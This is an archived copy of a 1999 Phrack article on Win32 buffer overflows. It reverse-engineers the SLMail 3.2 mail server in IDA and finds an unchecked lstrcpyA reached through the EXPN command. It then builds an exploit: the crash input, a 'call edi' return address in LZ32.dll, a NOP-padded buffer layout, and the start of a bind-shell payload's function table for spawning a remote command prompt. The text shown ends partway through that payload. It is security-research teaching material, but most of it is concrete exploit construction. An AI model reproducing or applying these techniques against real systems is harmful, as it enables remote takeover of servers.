home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / advancedoverflows / p55-15.txt < prev    next >
Encoding:
Text File  |  2000-12-24  |  79.1 KB  |  2,194 lines

  1. -------[  Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 15 of 19  ]
  2.  
  3.    
  4. -------------------------[  Win32 Buffer Overflows
  5.                             (Location, Exploitation and Prevention)
  6.  
  7.  
  8. --------[ dark spyrit AKA Barnaby Jack <dspyrit@beavuh.org>  ]
  9.  
  10.  
  11. ----[  Abstract
  12.  
  13. "If you assume that there's no hope, you guarantee there will be no hope.
  14. If you assume that there is an instinct for freedom, there are
  15. opportunities to change things."
  16.  
  17. -Noam Chomsky
  18.  
  19.  
  20. The Internet - the last great stronghold of freedom of thought, ideas and
  21. expression - and with each passing moment the bleak outcome of a corporate
  22. and government controlled entity increases in probability.
  23.  
  24. The battle lines have been drawn, and for the moment, we have the upper
  25. hand, but only by a margin.
  26.  
  27. Software companies with no alternative but to resort to the censorship of
  28. knowledge have made their presence felt, sites relating to the 'black art'
  29. of software reversing and the like are being removed on a continual basis.
  30.  
  31. Hopefully, the few unrestrained who walk the back alleys will continue to
  32. publish information - and create avenues for others to expand, spread and
  33. develop - this is where the battle will be won.
  34.  
  35. Assembly language is a weapon chosen only by few, but those who possess
  36. the skill to harness its power can and will defeat any of the newer tools
  37. of modern combat.
  38.  
  39. I wish you the best of luck finding information, though.  With power, comes a
  40. price - Assembler isn't the easiest language to learn, and as such you may
  41. have trouble finding documentation among the hordes of Visual this, Visual
  42. that, Visual Bloat for Dummies.. but continue your search, you'll be glad
  43. you did.
  44.  
  45. When profit gain is the primary momentum, speed, control, size and performance
  46. of your software is sacrificed for ease of use and 'prompt development'.
  47. The need to know what goes on internally is a rare necessity and optimization
  48. is of little importance.  Those that remain untainted by the prospect of
  49. monetary rewards, and first and foremost are driven by the sheer desire to
  50. better educate ones self, are those that will always be on the pinnacle -
  51. and are those that are feared most of all.
  52.  
  53. With Windows NT now a major player, and the open source movement not looking
  54. to have any impact in the near future, the ability to 'look under the hood' is
  55. an incredibly valuable asset and will be the focus of the first section in
  56. this paper.
  57.  
  58. It is of no great surprise that attempts to outlaw reverse engineering are
  59. currently in the works, but the effects of such a proposal would be disastrous. 
  60.  
  61. Despite the fact that it is an open invitation for vendors to use sub-standard
  62. coding practice, there are those in the security industry who rely on these
  63. techniques to find and document vulnerabilities.  The online world would
  64. suffer as a result.
  65.  
  66. Do not concede.
  67.  
  68.  
  69. Introduction.
  70. ~~~~~~~~~~~~~
  71.  
  72. This paper will be separated into 3 sections.
  73.  
  74. The first will cover a standard reversing session, and we'll point out a
  75. common vulnerability.
  76.  
  77. The second will demonstrate the process of exploiting the weakness - the
  78. problem with most win32 remote overflow exploits stems from the payload,
  79. the current trend is to have the shellcode download an external file and
  80. execute.
  81.  
  82. Far too many problems result from this technique, depending on
  83. router/firewall configurations etc.
  84.  
  85. The payload I present to you will directly spawn a full-blown shell on any
  86. port you specify, eliminating 90% of most reported problems.  This is the
  87. first of its kind as far as I am aware.
  88.  
  89. The last section will show how to add your own code to the executables
  90. of your target to prevent exploitation.
  91.  
  92.  
  93. The example I will be using for this document is the latest version of
  94. Seattle Labs mail server (3.2.3113).  There are numerous buffer overflows
  95. riddled throughout this software, we'll be concentrating on a port opened by
  96. the POP service, which provides the Extended Turn functions.
  97.  
  98. Seattle Labs were contacted about this in a previous version but did not
  99. bother to remedy the situation, instead they just changed the default port
  100. from 27 to 8376.
  101.  
  102. Bad move.
  103.  
  104. The vulnerabilities were made public by the way, so please, Russ, don't send
  105. me nasty emails.
  106.  
  107. Before we begin I will assume you have a general knowledge of Assembler,
  108. Windows programming, a basic understanding of the Portable Executable
  109. structure and you know the fundamentals of buffer overflows - I won't be
  110. re-hashing the basics in this paper.
  111.  
  112.  
  113. Tools Required:
  114.  
  115. Interactive Disassembler from http://www.datarescue.com - hands down the BEST 
  116. disassembler for the PC.
  117.  
  118. A decent debugger, e.g.: SoftIce.
  119.  
  120. PE Dump from Matt Peitrek, or dumpbin will suffice.
  121.  
  122. A hex editor, any will do.. PS Edit does nicely.
  123.  
  124. A Win32 API reference.
  125.  
  126. If you want to assemble the tools/exploits that accompany this paper then
  127. you'll also need TASM 5.0.
  128.  
  129. The binaries will be available at http://www.beavuh.org as well as the 
  130. latest goodies that we feel the need to release.
  131.  
  132.  
  133. Section 1: Under the Hood.  
  134. ~~~~~~~~~~~~~~~~~~~~~~~~~~
  135.  
  136. Interactive Disassembler Pro is without a doubt, THE tool for reversing code.
  137. Disassembly begins from the entry point of the program, and follows all routes
  138. of execution, then continues to locate functions outside of the main flow of
  139. the program.  You have full control over what is marked as data or code.  IDA
  140. recognizes a huge amount of library functions, which provides a much better
  141. understanding of the target.  It will disassemble an unbelievable amount of
  142. file formats, from a wide range of processors.  You're given the ability to
  143. have repeatable comments, labels, modify any piece of code, function,
  144. "interactively".  IDA also includes it's own macro language, to automate
  145. your chores.
  146.  
  147. If I were to cover everything this tool can do I would be here all day, and
  148. I'd still be missing something.
  149.  
  150. With the combined effort of IDA and Soft Ice, there are no barriers.
  151.  
  152. This section will be rather short, the only reason being that IDA cuts through
  153. SLMail's code like a machete.
  154.  
  155. Load up slmail.exe into IDA and we'll get underway...
  156.  
  157.  
  158. First we need to think about our target for a minute, we're going to try and
  159. exploit one of the SMTP commands so it is almost certain they will be accessed
  160. and compared from a table.. Let's do a search:
  161.  
  162. Hit <alt+b> "search for text in core" and enter "EXPN", we'll land smack in
  163. the middle of these ASCII strings.
  164.  
  165.  
  166. 004439C0 aSize           db 'SIZE',0
  167. 004439C5                 align 4
  168. 004439C8 aXtrn           db 'XTRN',0
  169. 004439CD                 align 4
  170. 004439D0 aEtrn           db 'ETRN',0
  171. 004439D5                 align 4
  172. 004439D8 aQuit           db 'QUIT',0             ; DATA XREF: sub_403970+280o
  173. 004439D8                                         ; .data:00448A60o
  174. 004439DD                 align 4
  175. 004439E0 aHelp_0         db 'HELP',0
  176. 004439E5                 align 4
  177. 004439E8 aTurn           db 'TURN',0             ; DATA XREF: sub_403970+F0o
  178. 004439ED                 align 4
  179. 004439F0 aExpn           db 'EXPN',0    
  180.  
  181. ...<snip>
  182.  
  183.  
  184. Now we need to find the table that references the commands, so we'll do
  185. another search.. this time entering the dword offset to the left of EXPN
  186. (004439f0).
  187.  
  188. And we land in the middle of this mess:
  189.  
  190.  
  191. 004436F8 dword_4436F8    dd 443A98h              ; DATA XREF: sub_404390+24r
  192. 004436F8                                         ; sub_404390+34o
  193. 004436FC                 db    3 ;  
  194. 004436FD                 db    0 ;  
  195. 004436FE                 db    0 ;  
  196. 004436FF                 db    0 ;  
  197. 00443700                 db  94h ; "
  198. 00443701                 db  3Ah ; :
  199. 00443702                 db  44h ; D
  200. 00443703                 db    0 ;  
  201. 00443704                 db  0Ah ;  
  202. 00443705                 db    0 ;  
  203. 00443706                 db    0 ;  
  204. 00443707                 db    0 ;  
  205. 00443708                 db  90h ; É
  206. 00443709                 db  3Ah ; :
  207. 0044370A                 db  44h ; D
  208. 0044370B                 db    0 ;  
  209. 0044370C                 db    1 ;  
  210. 0044370D                 db    0 ;  
  211. 0044370E                 db    0 ;  
  212. 0044370F                 db    0 ;  
  213.  
  214. ...<snip>
  215.  
  216. 004437E8                 db 0F0h ; ≡
  217. 004437E9                 db  39h ; 9
  218. 004437EA                 db  44h ; D
  219. 004437EB                 db    0 ;  
  220. 004437EC                 db  19h ;  
  221. 004437ED                 db    0 ;  
  222. 004437EE                 db    0 ;  
  223. 004437EF                 db    0 ;  
  224.  
  225.  
  226. There's no point showing the complete table here, now.. take a look at its
  227. structure.
  228.  
  229.  
  230. <pointer to string> <dword> <pointer to string> <dword> etc
  231.  
  232.  
  233. My best guess here is that the dword value following each pointer will be the
  234. value assigned after a successful comparison. Let's check our theory.  Also we
  235. should note down our value after the pointer to "EXPN" : 004439f0h, 00000019h. 
  236.  
  237. 0x19, we'll keep that in mind.
  238.  
  239. Scroll up and at the top of the table you see:
  240.  
  241.  
  242. 004436F8 dword_4436F8    dd 443A98h              ; DATA XREF: sub_404390+24r
  243. 004436F8                                         ; sub_404390+34o
  244.  
  245.  
  246. You can see to the right where the table is referenced, so click on the
  247. subroutine and we'll land straight into the call.
  248.  
  249.  
  250. 004043B4 loc_4043B4:                             ; CODE XREF: sub_404390+11j
  251. 004043B4                 mov     ecx, dword_4436F8
  252. 004043BA                 test    ecx, ecx
  253. 004043BC                 jz      short loc_4043F3 
  254. 004043BE                 mov     ebp, ds:lstrlenA
  255. 004043C4                 mov     esi, offset dword_4436F8
  256.  
  257.  
  258. Our table loaded at esi, ebp contains the address of lstrlenA.
  259.  
  260.  
  261. 004043C9 
  262. 004043C9 loc_4043C9:                             ; CODE XREF: sub_404390+61j
  263. 004043C9                 test    eax, eax
  264. 004043CB                 jnz     short loc_4043F3
  265. 004043CD                 mov     eax, [esi]
  266. 004043CF                 push    eax
  267. 004043D0                 call    ebp
  268.  
  269.  
  270. Here we go, the string first moved to eax and then a string length function
  271. called.
  272.  
  273.  
  274. 004043D2                 mov     ecx, [esi]
  275. 004043D4                 push    eax
  276. 004043D5                 push    ecx
  277. 004043D6                 push    ebx
  278. 004043D7                 call    j_lstrncmpi
  279. 004043DC                 neg     eax
  280. 004043DE                 sbb     eax, eax
  281. 004043E0                 inc     eax
  282. 004043E1                 jz      short loc_4043E9
  283.  
  284.  
  285. Now we know that the parameters for lstrncmpi are as follows:
  286.  
  287. strncmpi(first_string, second_string, number_of_chars);
  288.  
  289. The first parameter pushed on the stack is the return from the string length
  290. function, ecx is then pushed which points to the string, and finally ebx.
  291. So we can determine from this that ebx contains the input from the user.
  292. I can see that some of you may be a little puzzled here, yes - parameters
  293. are pushed on to the stack in reverse order.
  294.  
  295.  
  296. 004043E3                 xor     edi, edi
  297. 004043E5                 mov     di, [esi+4]
  298.  
  299.  
  300. Ah, just as we suspected.. if there is a successful comparison then di is
  301. loaded with the value that followed our pointer.
  302.  
  303.  
  304. 004043E9 
  305. 004043E9 loc_4043E9:                             ; CODE XREF: sub_404390+51j
  306. 004043E9                 mov     ecx, [esi+8]
  307. 004043EC                 add     esi, 8
  308. 004043EF                 test    ecx, ecx
  309. 004043F1                 jnz     short loc_4043C9
  310.  
  311. loop :)
  312.  
  313. 004043F3 
  314. 004043F3 loc_4043F3:                             ; CODE XREF: sub_404390+18j
  315. 004043F3                                         ; sub_404390+2Cj ...
  316. 004043F3                 mov     eax, edi       
  317. 004043F5                 pop     edi
  318. 004043F6                 pop     esi
  319. 004043F7                 pop     ebp
  320. 004043F8                 pop     ebx
  321. 004043F9                 retn    
  322. 004043F9 sub_404390      endp ; sp = -10h
  323. 004043F9 
  324.  
  325.  
  326. And finally eax holds our value, and we return from the call.  Let's continue.
  327.  
  328.  
  329. 00405EC7                 mov     edx, [esp+2Ch+arg_8]
  330. 00405ECB                 mov     ebx, eax
  331. 00405ECD                 mov     eax, [esp+2Ch+arg_4]
  332. 00405ED1                 push    edx
  333. 00405ED2                 push    eax
  334. 00405ED3                 push    esi
  335. 00405ED4                 lea     ecx, [esp+3Ch]
  336. 00405ED8                 push    edi
  337. 00405ED9                 push    ecx
  338. 00405EDA                 push    ebx
  339. 00405EDB                 call    sub_404850
  340.  
  341.  
  342. Now, the important things to take note of here is edx gets our inputted
  343. string, and ebx is given our value from the table (0x19).  Remember the
  344. order in which our registers were pushed, so we will be able to tell what
  345. is being referenced from the stack - and in the next call we will rename
  346. the stack variables to make it easier on ourselves.
  347.  
  348. Note: I'm not taking advantage of some of the GREAT features IDA possesses
  349. - repeatable comments, labels and much more.  A necessity while on a real
  350. reversing journey.
  351.  
  352.  
  353. 00404850 sub_404850      proc near               ; CODE XREF: sub_405330+73p
  354. 00404850                                         ; sub_405560+73p ...
  355. 00404850 
  356. 00404850 var_270         = byte ptr -270h
  357. 00404850 var_26C         = dword ptr -26Ch
  358. 00404850 var_268         = byte ptr -268h
  359. 00404850 var_264         = byte ptr -264h
  360. 00404850 var_23C         = byte ptr -23Ch
  361. 00404850 var_230         = byte ptr -230h
  362. 00404850 var_168         = byte ptr -168h
  363. 00404850 var_110         = byte ptr -110h
  364. 00404850 var_105         = byte ptr -105h
  365. 00404850 var_104         = byte ptr -104h
  366. 00404850 var_10          = dword ptr -10h
  367. 00404850 var_4           = dword ptr -4
  368. 00404850 our_val         = dword ptr  4
  369. 00404850 arg_4           = dword ptr  8
  370. 00404850 arg_8           = dword ptr  0Ch
  371. 00404850 arg_C           = dword ptr  10h
  372. 00404850 arg_10          = dword ptr  14h
  373. 00404850 our_input       = dword ptr  18h
  374. 00404850 
  375. 00404850                 mov     ecx, [esp+our_val]
  376. 00404854                 sub     esp, 26Ch
  377. 0040485A                 xor     eax, eax
  378. 0040485C                 cmp     ecx, 8
  379. 0040485F                 push    ebx
  380. 00404860                 push    ebp
  381. 00404861                 push    esi
  382. 00404862                 push    edi
  383. 00404863                 jnz     loc_4048E9
  384.  
  385.  
  386. We rename the useful stack arguments to something easier to remember,
  387. arg_0 = our_val, and arg_14 = our_input - if you're lost go back and take
  388. another look at the order the registers were pushed.
  389.  
  390. ecx is loaded with our 0x19 value.  It is then compared to 8, which is not
  391. us, so we'll follow the jump.
  392.  
  393.  
  394. 004048E9 
  395. 004048E9 loc_4048E9:                             ; CODE XREF: sub_404850+13j
  396. 004048E9                 cmp     ecx, 17h
  397. 004048EC                 jnz     short loc_40495A
  398. 004048EE                 mov     ecx, [esp+27Ch+arg_10]
  399. 004048F5                 mov     esi, [esp+27Ch+arg_C]
  400. 004048FC                 mov     eax, [ecx]
  401. 004048FE                 cmp     eax, 8
  402. 00404901                 jnz     short loc_404914
  403. 00404903                 mov     ecx, [esi+100h]
  404. 00404909                 test    ecx, ecx
  405. 0040490B                 jz      short loc_404914
  406. 0040490D                 mov     ebx, 1
  407. 00404912                 jmp     short loc_404916
  408.  
  409.  
  410. A comparison to 17h, again.. not us, so we continue to follow the jumps until
  411. we reach...
  412.  
  413.  
  414. 00404B7F loc_404B7F:                             ; CODE XREF: sub_404850+1C0j
  415. 00404B7F                 cmp     ecx, 19h
  416. 00404B82                 jnz     loc_404D7F
  417. 00404B88                 mov     eax, dword_457354
  418. 00404B8D                 test    eax, eax
  419. 00404B8F                 jz      loc_404D4F
  420. 00404B95                 mov     eax, dword_457384
  421. 00404B9A                 mov     edi, [esp+27Ch+our_input]
  422. 00404BA1                 push    0
  423. 00404BA3                 push    eax
  424. 00404BA4                 push    edi
  425. 00404BA5                 call    sub_4365A0
  426.  
  427.  
  428. And here's our boy, note how our variables we renamed follow all through
  429. the call, IDA rocks doesn't it? :)
  430.  
  431. So edi gets our string input, and we follow yet another call - again we'll
  432. rename the useful stack variable upon entering the next call.
  433. i.e.: edi = arg_0 = our_input
  434.  
  435.  
  436. 004365A0 sub_4365A0      proc near               ; CODE XREF: sub_4029D0+92p
  437. 004365A0                                         ; sub_4029D0+107p ...
  438. 004365A0 
  439. 004365A0 var_12C         = byte ptr -12Ch
  440. 004365A0 var_12B         = byte ptr -12Bh
  441. 004365A0 our_input       = dword ptr  4
  442. 004365A0 arg_4           = dword ptr  8
  443. 004365A0 arg_8           = dword ptr  0Ch
  444. 004365A0 
  445. 004365A0                 mov     eax, [esp+arg_8]
  446. 004365A4                 mov     ecx, [esp+arg_4]
  447. 004365A8                 sub     esp, 12Ch
  448. 004365AE                 lea     edx, [esp+12Ch+var_12C]
  449. 004365B2                 push    0
  450. 004365B4                 push    eax
  451. 004365B5                 mov     eax, [esp+134h+our_input]
  452. 004365BC                 push    ecx
  453. 004365BD                 push    12Ch
  454. 004365C2                 push    edx
  455. 004365C3                 push    eax
  456. 004365C4                 call    sub_4364A0
  457.  
  458.  
  459. And yet another call, again take notice of the order in which the registers
  460. were pushed, eax=arg_0=our_input.  I have a feeling we are getting closer
  461. to the goods.
  462.  
  463. Ok, I admit it. I peeked.
  464.  
  465.  
  466. 004364A0 sub_4364A0      proc near               ; CODE XREF: sub_436470+1Bp
  467. 004364A0                                         ; sub_4365A0+24p ...
  468. 004364A0 
  469. 004364A0 var_98          = byte ptr -98h
  470. 004364A0 var_8C          = byte ptr -8Ch
  471. 004364A0 var_78          = byte ptr -78h
  472. 004364A0 var_6C          = byte ptr -6Ch
  473. 004364A0 var_35          = byte ptr -35h
  474. 004364A0 var_15          = byte ptr -15h
  475. 004364A0 var_8           = dword ptr -8
  476. 004364A0 var_4           = dword ptr -4
  477. 004364A0 our_input       = dword ptr  4
  478. 004364A0 arg_4           = dword ptr  8
  479. 004364A0 
  480. 004364A0                 mov     eax, [esp+our_input]
  481. 004364A4                 sub     esp, 64h
  482. 004364A7                 push    ebx
  483. 004364A8                 push    ebp
  484. 004364A9                 push    esi
  485. 004364AA                 mov     esi, [esp+70h+arg_4]
  486. 004364AE                 push    edi
  487. 004364AF                 push    eax
  488. 004364B0                 push    esi
  489. 004364B1                 call    ds:lstrcpyA
  490. 004364B7                 push    40h
  491. 004364B9                 push    esi
  492. 004364BA                 call    j_lstrchr
  493. 004364BF                 test    eax, eax
  494. 004364C1                 jz      short loc_4364C6
  495. 004364C3                 mov     byte ptr [eax], 0
  496.  
  497.  
  498. And here we have it, the classic screw-up.  esi points to the buffer, eax
  499. has our string - *bang* strcpy.
  500.  
  501. Did anyone out there notice any form of bounds checking up to this point?
  502. I sure didn't.
  503.  
  504. Please guys, do not try to hide from us - we CAN see what you do.
  505.  
  506. Now we know EXPN is our sure-fire victim.  Feel free to follow some of the
  507. other commands, you will run into similar coding practice, Seattle Labs
  508. have a lot to clean up.
  509.  
  510. From a relatively quick reversing session, we find a common mistake - yet
  511. a mistake that compromises the entire server.
  512.  
  513. Now, obviously, a lot of sessions won't be as straight forward - wait for
  514. a rainy day, have an extra packet of cigarettes on hand, a bottle of vodka,
  515. crank some 30footFALL and get hacking - patience is a virtue, take your time
  516. and navigate the code, you'll be amazed at what you find.
  517.  
  518. And hey, even if you come up empty, by the time you've downed that bottle you
  519. won't care anyway.
  520.  
  521. With enough patience and determination, you will find a barrage of different
  522. holes and vulnerabilities through disassembly techniques.  It is an asset
  523. worth having.
  524.  
  525.  
  526. Section 2: The Exploit.
  527. ~~~~~~~~~~~~~~~~~~~~~~~
  528.  
  529. Although this section will cover some tricks, techniques and the process
  530. of exploiting overflows in Windows, the main purpose of this section is to
  531. document what I consider the most ideal shellcode available for Win32
  532. exploits at this time.
  533.  
  534. The last thing I want to do is go over already covered ground - none the
  535. less, I will document the route I took personally before creating the
  536. payload.  To those of you who have done this sort of thing before, feel
  537. free to skip straight to the shellcode.
  538.  
  539. Before we begin, I just have something to say quickly regarding some members
  540. of the security community.
  541.  
  542. When I released the IIS exploit (the definition of proof of concept :)),
  543. some of the mail was rather unsettling.
  544.  
  545. Mail from employees of large corporations and yes, government agencies,
  546. bearing titles such as 'Head of Network Security' and similar who were
  547. using the exploit to determine the risk to their servers.  If the exploit
  548. failed, some were prepared to class the risk as minimal.
  549.  
  550. Do not determine the threat to your servers solely on the results of one
  551. public exploit - the vulnerability exists, fix it.  If you think that was
  552. the only demonstration code floating around you need your head examined.
  553.  
  554. Hopefully now, you may change your attitude.  The masses now have full
  555. control, without fail.
  556.  
  557. Here we go.
  558.  
  559. My experience with NT is rather limited, in fact, I've only recently made
  560. the move from spelunking Windows 9x.
  561.  
  562. Unfortunately what I've noticed under NT is SoftIce has a bit of trouble
  563. trapping faults, and other debuggers tend to break in after the exception
  564. handling has kicked in.
  565.  
  566. This sucks for a couple of reasons.
  567.  
  568. If an exception is raised after a string length routine tries to read from
  569. invalid memory for example, under NT its quite likely that it'll be the
  570. exception handler itself that overwrites eip with your data (IIS comes to
  571. mind again).
  572.  
  573. We can route our eip to an offset at that point if we wish, but it isn't
  574. particularly delicate, we'd be much better off to try and throw in some
  575. valid addresses and let the code ret to an eip with our data.
  576.  
  577. What I suggest is setting a breakpoint on the exception dispatcher and
  578. dumping the eip it was called from.. 
  579.  
  580. e.g.: bpx KiUserExceptionDispatcher DO "dd *esp+0c"
  581.  
  582. Now if eip hasn't been overwritten you can break at that offset and see
  583. what you have to play with, if eip has been taken then the offset at that 
  584. location should be your bytes.
  585.  
  586. In that case you can either try and trace back into the blown stack and
  587. find a location to break on relatively close to where we ret to our eip,
  588. or just take an educated guess.
  589.  
  590. The latter is the path we'll take.
  591.  
  592. Let's break this thing.
  593.  
  594. attica:~> telnet 192.168.10.3 8376
  595. Trying 192.168.10.3...
  596. Connected to 192.168.10.3.
  597. Escape character is '^]'.
  598. 220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here
  599. expn xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  600. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  601. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  602. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  603. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  604. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  605. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  606. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  607.  
  608. Our debugger breaks in, obviously in this case eip has been totally
  609. taken, look at where the handler was called - 0x78787878, i.e.: xxxx.
  610.  
  611. Ok, now we want to find the exact point in the code where we return to our
  612. address - let's take a look at the disassembly.
  613.  
  614.  
  615. 004364AF                 push    eax
  616. 004364B0                 push    esi
  617. 004364B1                 call    ds:lstrcpyA
  618.  
  619.  
  620. Let's set a breakpoint just above the call to lstrcpy, that way we can also
  621. have a closer look at the buffer manipulation and we should be mere footsteps
  622. away from total system control.
  623.  
  624. Ok, send the data and let your debugger kick in, ret out of the call and
  625. you'll quickly reach..
  626.  
  627.  
  628. or    eax, -01
  629. add    esp, 0000012c
  630. ret
  631.  
  632.  
  633. That's where we wanna be, that ret will drop us to our eip.  We have control.
  634.  
  635. Now, to go somewhere useful.
  636.  
  637. Let's examine the registers and see what we have to play with, esp is totaled
  638. and points somewhere around the middle of our buffer.  So we could jump the
  639. stack, but why bother?  Take a look at some of those other registers - edi
  640. has our buffer directly after the "expn".  We couldn't have asked for
  641. anything better.  Although there are a fair few different ways to jump the
  642. stack, we'll almost always find a "call edi" or similar.
  643.  
  644. Let's think about this for a moment, in a perfect world we'd just reference
  645. an offset in slmail.exe - but this is the world of Windows.
  646.  
  647. We have to avoid null bytes so unfortunately we can't use the exe itself, as
  648. it is loaded at the default base address of 0x00400000.  We could use a
  649. location in the executable if we were to place our offset at the end of our
  650. data, as we'd have the null at the end of the string, but that doesn't leave
  651. us with enough space for a decent payload.  Remember we don't want this to be
  652. dependent on the version of NT at all, so we either need to use a DLL included
  653. with SLMail or an external DLL that is static on all service packs.
  654.  
  655. So let's take a look at what else has been loaded from that process.
  656. SysInternals (http://www.sysinternals.com) have a handy little util called
  657. listdlls which will show you just that.
  658.  
  659.  
  660. C:\tools>listdlls slmail.exe
  661.  
  662. ListDLLs V2.1
  663. Copyright (C) 1997-1999 Mark Russinovich
  664. http://www.sysinternals.com
  665.  
  666. ------------------------------------------------------------------------------
  667. slmail.exe pid: 159
  668.   Base        Size      Version         Path
  669.   0x00400000  0x62000   3.02.0001.1204  E:\PROGRA~1\SLmail\slmail.exe
  670.   0x77f60000  0x5c000   4.00.1381.0130  E:\WINNT\System32\ntdll.dll
  671.   0x10000000  0xc000    2.03.0000.0000  E:\WINNT\system32\OpenC32.dll
  672.   0x77f00000  0x5e000   4.00.1381.0133  E:\WINNT\system32\KERNEL32.dll
  673.   0x77ed0000  0x2c000   4.00.1381.0115  E:\WINNT\system32\GDI32.dll
  674.   0x77e70000  0x54000   4.00.1381.0133  E:\WINNT\system32\USER32.dll
  675.   0x77dc0000  0x3f000   4.00.1381.0121  E:\WINNT\system32\ADVAPI32.dll
  676.   0x77e10000  0x57000   4.00.1381.0131  E:\WINNT\system32\RPCRT4.dll
  677.   0x77d80000  0x32000   4.00.1381.0027  E:\WINNT\system32\comdlg32.dll
  678.   0x77c40000  0x13c000  4.00.1381.0114  E:\WINNT\system32\SHELL32.dll
  679.   0x77aa0000  0x74000   4.72.3609.2200  E:\WINNT\system32\COMCTL32.dll
  680.   0x776d0000  0x8000    4.00.1381.0131  E:\WINNT\system32\WSOCK32.dll
  681.   0x776b0000  0x14000   4.00.1381.0133  E:\WINNT\system32\WS2_32.dll
  682.   0x78000000  0x40000   6.00.8337.0000  E:\WINNT\system32\MSVCRT.dll
  683.   0x776a0000  0x7000    4.00.1381.0031  E:\WINNT\system32\WS2HELP.dll
  684.   0x77a90000  0xb000    4.00.1371.0001  E:\WINNT\system32\VERSION.dll
  685.   0x779c0000  0x8000    4.00.1371.0001  E:\WINNT\system32\LZ32.dll
  686.   0x77bf0000  0x7000    4.00.1381.0072  E:\WINNT\system32\rpcltc1.dll
  687.   0x77660000  0xf000    4.00.1381.0037  E:\WINNT\system32\msafd.dll
  688.   0x77690000  0x9000    4.00.1381.0037  E:\WINNT\System32\wshtcpip.dll
  689.   0x74ff0000  0xd000    4.00.1381.0131  E:\WINNT\System32\rnr20.dll
  690.  
  691.  
  692. There's not much loaded there in the way of its own DLL's, so we'll have to
  693. pick something external.  LZ32.DLL will do, static on all service packs,
  694. has the code we need and the offset has no null bytes.
  695.  
  696. We find at location 0x779C1CAA we have a "call edi", that'll do nicely.
  697.  
  698. The next problem - we need to know where in our buffer to stuff our offset.
  699. A quick and easy way to find this out is to fill your buffer with a heap
  700. of independent bytes, 1A, 2A, 3A, 4A....A1, A2 and so on, and you'll be
  701. able to pinpoint the location when eip is overwritten.
  702.  
  703. Quickly we notice that the location we need is about 300 bytes into our buffer,
  704. so we have:
  705.  
  706. expn <299 nops> 0x779c1caa
  707.  
  708. So in its current form, if we were to send that data, eip would return to the
  709. offset 0x779c1caa which would call edi and execute our nops - before the offset
  710. we will also add in a short jump to bypass the garbage instructions that our
  711. offset was translated to.
  712.  
  713. Now all that remains is to tack our payload on to the end.
  714.  
  715. It's time. 
  716.  
  717.  
  718. The Payload.
  719. ~~~~~~~~~~~~
  720.  
  721. Note: the ideas for the string table/jump table came from DilDog, very cool.
  722. Amazing work you do.
  723.  
  724. The goal:
  725.  
  726. An exploit that spawns a command prompt directly on a specified port, and will
  727. execute successfully on all NT versions. 
  728.  
  729. Considerations:
  730.  
  731. - We are unsure of the exact OS version.
  732. - Function locations will differ depending on versions/service packs/upgrades.
  733. - The import table for SLMail does not have all needed functions.
  734. - We must avoid null bytes, carriage returns etc.
  735.  
  736. We can take care of the first three problems by linking to the IAT of slmail,
  737. and using those procedures to load external functions.  As for the fourth?
  738. We'll just have to be clever.
  739.  
  740. In order for me to keep the shellcode as generic as possible, we will create a
  741. jump table of all external functions we will be using, without relying on
  742. SLMails imports - with two exceptions.
  743.  
  744. For us to be able to load DLL's and retrieve the addresses for needed
  745. procedures we will need to reference two functions from the import table
  746. of slmail.exe:
  747.  
  748. GetProcAddress and LoadLibraryA.
  749.  
  750. Before I show the table we create, I want to give a brief rundown on what's
  751. involved when spawning a remote shell under Windows NT.  Unfortunately it
  752. is not anywhere near as straight forward as when you're working with *nix,
  753. but, of course, it's do-able.  To be able to spawn a full-blown remote
  754. shell, we need to be able to redirect standard output and standard error
  755. to the connected user, and the connected user must have control over
  756. standard input.
  757.  
  758. The answer?
  759.  
  760. Anonymous Pipes.
  761.  
  762. The primary use for anonymous pipes is to exchange data between
  763. parent/child processes, or just between child processes.
  764.  
  765. The anonymous pipe is a one-way pipe - the data will flow in one
  766. direction - from one end, to the other.  The usefulness is apparent when
  767. we are working with the console, as we can replace the handles of
  768. stdin/stdout/stderr with handles to the ends of the created pipes.  We can
  769. then read and write to the pipes with the Read and Writefile API's.  From
  770. the read end of the stdout pipe, we send the buffer to the connected socket
  771. and subsequently what we receive from the connected socket we fire off to
  772. the write end of the stdin pipe.
  773.  
  774. To keep it generic our string table is unfortunately going to have to include
  775. a fair few functions, all taking up precious bytes.  When you are strapped
  776. for stack space you'll want to make use of more functions from your targets
  777. IAT.
  778.  
  779.  
  780. The table:
  781.  
  782.         db "KERNEL32",0    ;string to push for LoadLibrary.
  783.     db "CreatePipe",0
  784.     db "GetStartupInfoA",0  
  785.  
  786. ;we will modify the start-up structure at runtime as the structure is far
  787. ;too large to include in the shellcode.
  788.     
  789.     db "CreateProcessA",0
  790.     db "PeekNamedPipe",0
  791.     db "GlobalAlloc",0
  792.     db "WriteFile",0
  793.     db "ReadFile",0
  794.     db "Sleep",0
  795.     db "ExitProcess",0
  796.     
  797.     db "WSOCK32",0
  798.     db "socket",0
  799.     db "bind",0
  800.     db "listen",0
  801.     db "accept",0
  802.     db "send",0
  803.     db "recv",0
  804.  
  805. sockstruc STRUCT
  806.     sin_family dw 0002h
  807.     sin_port   dw ?
  808.     sin_addr   dd ?
  809.     sin_zero   db 8 dup (0)
  810. sockstruc ENDS
  811.  
